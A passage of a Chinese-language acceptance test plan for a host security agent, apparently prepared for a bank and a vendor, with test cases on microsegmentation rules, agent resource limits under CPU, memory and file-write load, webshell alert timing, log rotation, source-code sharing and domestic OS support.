| 预置条件 | 能够根据实际业务，用位置、环境和应用三个标签创建工作组group1、group2  group1—位置：北京 环境：测试 应用：UASS  group2—位置：北京 环境：测试 应用：SSMC  Oracle-76-01加入group1  Oracle-76-02加入group2  Oracle-76-01角色为web  Oracle-76-02角色为mysql |
| 测试拓扑： | 无 |
| 测试方法 | 1. 新建策略集test；  2. 点击策略集详情，将工作组group1、group2添加至策略集test的覆盖范围  3. 将group1和group2开启防护模式  4. 点击添加工作组内规则，允许角色web访问角色mysql的3306端口的mysql服务，并下发规则  5. 在Oracle-76-01执行：mysql -u root -p -h （Oracle-76-02IP）,输入正确密码登录  6. 将Oracle-76-02修改至group1中  7. 在Oracle-76-01执行：mysql -u root -p -h （Oracle-76-02IP）,输入正确密码登录 |
| 预期结果 | 结果1（步骤5）：使用Oracle-76-01访问Oracle-76-02的3306端口的mysql服务失败  结果2（步骤7）：使用Oracle-76-01访问Oracle-76-02的3306端口的mysql服务成功 |
| 测试工具 |  |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

## 非功能性指标

### 模拟CPU使用率高场景下，Agent资源使用情况

|  |  |
| --- | --- |
| 案例编号 | 测试Agent在宿主机资源使用率极高的情况下的资源使用情况。 |
| 测试目的 | 测试Agent在宿主机资源使用率极高的情况下，Agent是否会自动降级或自杀。当宿主机资源使用率恢复正常后，Agent是否会自动拉起自杀的进程。 |
| 预置条件 | 多核心CPU使用率均达到100% |
| 测试拓扑： | 无 |
| 测试方法 | 1. 在服务端设置agent降级阈值为：系统多核CPU资源占用达到70% 2. 在服务端设置agent自杀阈值为：系统多核CPU资源占用达到90% 3. 查看主机CPU的核心数: cat /proc/cpuinfo | grep "processor" | wc -l 4. 根据核心数启动模拟CPU使用率高的脚本，并记录开始时间: sh cpu\_high.sh CPU核心数 5. 30分钟以后，读取Nmon的监控数据，检查进程和资源使用情况。 |
| 预期结果 | 1. 控制CPU单核使用率在10%以内（允许3秒内的瞬间峰值波动）内存占用小于200MB。 2. 随着CPU使用率的升高，3分钟内Agent会自杀或自动降级（需证明降级日志） 3. 当宿主机CPU使用率恢复正常后，3分钟内，能自动拉起自杀或降级的进程。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | Agent进程资源控制在范围内  口 通过 口 未通过 口 未测试  支持Agent降级或者自杀 口 通过 口 未通过 口 未测试  支持Agent降级或者自杀后的自动恢复 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 模拟内存使用率高场景下，Agent资源使用情况

|  |  |
| --- | --- |
| 案例编号 | 测试Agent在宿主机内存资源使用率极高的情况下的资源使用情况。 |
| 测试目的 | 测试Agent在宿主机资源使用率极高的情况下，Agent是否会自动降级或自杀。当宿主机资源使用率恢复正常后，Agent是否会自动拉起自杀的进程。 |
| 预置条件 | 内存使用率达到100%,发生swap |
| 测试拓扑： | 无 |
| 测试方法 | 1. 查看主机内存使用情况: free -m  2. 根据内存使用情况，计算可扩充内存的大小，可扩充内存大小=free+buffers+cached  3. 执行内存消耗脚本mem.out 第2步计算值，并查看内存使用情况，确认使用率达到90%以上  4. 30分钟以后，读取Nmon的监控数据，检查Agent进程和资源使用情况。 |
| 预期结果 | 1. 控制CPU单核使用率在10%以内（允许3秒内的瞬间峰值波动）内存占用小于200MB。  2.随着内存使用率的升高，3分钟内Agent会自杀或自动降级（需证明降级日志），并且控制内存占用在200M内。  3.当宿主机内存使用率恢复正常后，3分钟内，能自动拉起自杀或降级的进程 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | Agent进程资源控制在范围内  口 通过 口 未通过 口 未测试  支持Agent降级或者自杀 口 通过 口 未通过 口 未测试  支持Agent降级或者自杀后的自动恢复 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 模拟大量文件写入场景，Agent资源使用情况

|  |  |
| --- | --- |
| 案例编号 | 测试在web站点目录下模拟大量文件写入场景下，Agent的资源使用情况。 |
| 测试目的 | 测试在大量文件写入场景下，Agent的资源占用情况，以及webshell识别的速度。 |
| 预置条件 |  |
| 测试拓扑： | 无 |
| 测试方法 | 1. 在Web站点路径下新建目录file\_put,并将模拟脚本放入该目录中。 2. 调起脚本:python file\_put.py 5 1000 10 100 ,该脚本将会持续运行5分钟，每分钟写入1000个200Kb大小的文件，并且其中5分钟内会随机写入10个webshell文件。 3. 记录脚本调起的时间。 |
| 预期结果 | 1. 在模拟文件写入的5分钟内，Agent的资源占用平稳，单核CPU使用率控制在10%以内（允许3秒内的瞬间峰值波动），内存占用小于200M。 2. 在模拟文件写入的5分钟内，由于扫描恶意文件，导致Agent资源使用率异常，CPU使用率超过10%，或内存占用超过200M。 3. 当webshell文件落盘后1分钟内告警。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | Agent进程资源控制在范围内  口 通过 口 未通过 口 未测试  支持webshell落盘1分钟内告警 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 模拟业务高峰场景下，资源使用情况

|  |  |
| --- | --- |
| 案例编号 | 测试在业务高峰场景下，Agent资源使用情况。 |
| 测试目的 | 测试Agent在宿主机业务高峰情况下，Agent资源使用情况是否正常。 |
| 预置条件 |  |
| 测试拓扑： | 无 |
| 测试方法 | 1. 通过jmeter向Agent所在宿主机发起压力测试，保证宿主机CPU使用率达到50%。 2. 记录业务高峰开始时间，持续半小时。 |
| 预期结果 | 1. Agent的CPU.使用率超过10%，内存占用超过200M。 2. Agent的资源使用率相比业务低峰时，无明显波动，控制单核CPU使用率在10%以内（允许3秒内的瞬间峰值波动），内存占用小于200M。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 模拟服务端业务高峰场景下的稳定性

|  |  |
| --- | --- |
| 案例编号 | 测试Agent服务端在业务高峰场景下的稳定性。 |
| 测试目的 | 测试Agent服务端在业务高峰场景下，对服务端操作时的稳定性。 |
| 预置条件 | 厂商能够提供模拟交易的接口，并且提供打压脚本。 |
| 测试拓扑： | 无 |
| 测试方法 | 1. 通过厂商提供的打压脚本，向服务端发起压力流量，持续半小时，并记录开始时间。 2. 对所有主机进行一次风险发现扫描和数据采集操作。 3. 对比服务端在业务高峰期和低峰期执行步骤2所消耗的时间。 4. 观察服务端的稳定性，业务操作的流畅性。 |
| 预期结果 | 1. 当服务端在业务高峰时，业务操作卡顿，报错，打开或者刷新页面响应时间超过5秒。 2. 服务端在业务高峰和业务低峰响应时效性相差不超过5秒，业务操作流畅，无明显卡顿，无报错。 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 |   口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### Agent文件系统使用率控制

|  |  |
| --- | --- |
| 案例编号 | Agent文件系统使用率控制 |
| 测试目的 | 测试Agent是否可以定期或者按文件大小清理日志 |
| 预置条件 | NA |
| 测试拓扑： | 无需 |
| 测试方法 | 1. 在服务端设置Oracle-76-01定时存储日志周期为分钟级；旧日志会自动删除 2. 在服务端设置Redhat-67-01日志文件大小最大为10K；旧日志会自动删除 |
| 预期结果 | 结果1：在Oracle-76-01上观察一分钟后是否每分钟生成一个备份日志  结果2：在Redhat-67-01上观察是否日志大小超过10K就生成一个日志备份 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 支持服务端配置日志按大小清理  口 通过 口 未通过 口 未测试  支持服务端配置日志按时间周期清理 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 源码共享

|  |  |
| --- | --- |
| 案例编号 | 源码共享 |
| 测试目的 | 测试厂商是否承诺将源码与建行共享，并承诺在建行的开发环境编译运行 |
| 预置条件 |  |
| 测试拓扑： |  |
| 测试方法 | 1. 厂商提供源代码 2. 厂商签字盖章源码共享承诺书 |
| 预期结果 | 结果：厂商与建行的源码共享承诺书签字盖章成功 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

### 国产化支持

|  |  |
| --- | --- |
| 案例编号 | 国产化支持 |
| 测试目的 | 测试产品对国产化操作系统的支持程度 |
| 预置条件 |  |
| 测试拓扑： |  |
| 测试方法 | 提供国产化操作系统厂商出具的兼容认证证书或认证报告，包括银河麒麟、中标麒麟、中科红旗等 |
| 预期结果 | 结果1：具备国产化操作系统厂商出具的兼容认证证书或认证报告 |
| 测试工具： |  |
| 测试记录 |  |
| 测试结果 | 银河麒麟 口 通过 口 未通过 口 未测试  中标麒麟 口 通过 口 未通过 口 未测试  中科红旗 口 通过 口 未通过 口 未测试 |
| 备注 |  |
| 人员签字 | 建行：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ 厂商：\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ |

# 